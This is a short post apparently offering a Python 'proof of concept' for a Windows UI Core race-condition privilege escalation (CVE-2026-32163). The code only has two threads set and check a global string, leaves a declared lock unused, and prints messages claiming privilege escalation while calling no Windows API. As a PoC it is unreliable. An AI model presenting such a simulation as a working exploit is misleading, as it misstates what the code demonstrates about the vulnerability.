Concurrent execution using shared resource with improper synchronization ('race condition') in Windows User Interface Core allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
import threading
import ctypes
# Simulating the vulnerable shared resource in Windows UI Core
vulnerable_resource = None
lock = threading.Lock() # Hypothetical missing lock in the actual vulnerability
def malicious_thread_1():
"""
Thread 1: Attempts to write to the resource
"""
global vulnerable_resource
print("[*] Thread 1: Attempting to modify resource...")
# Simulating the race condition window where synchronization is missing
vulnerable_resource = "Exploit_Data"
print("[+] Thread 1: Resource modification complete.")
def malicious_thread_2():
"""
Thread 2: Attempts to read the resource to trigger the logic error
"""
global vulnerable_resource
print("[*] Thread 2: Attempting to access resource...")
if vulnerable_resource == "Exploit_Data":
print("[+] Thread 2: Race condition won! Triggering privilege escalation...")
# In a real exploit, this would invoke Windows APIs to impersonate a token
# or execute code in a higher privileged process.
else:
print("[-] Thread 2: Failed to win race.")
def exploit_cve_2026_32163():
"""
Main function to orchestrate the attack
"""
print("[*] Starting PoC for CVE-2026-32163...")
# Create threads targeting the shared resource
t1 = threading.Thread(target=malicious_thread_1)
t2 = threading.Thread(target=malicious_thread_2)
# Start threads simultaneously to increase likelihood of race
t1.start()
t2.start()
t1.join()
t2.join()
print("[*] Exploit execution finished.")
if __name__ == "__main__":
exploit_cve_2026_32163()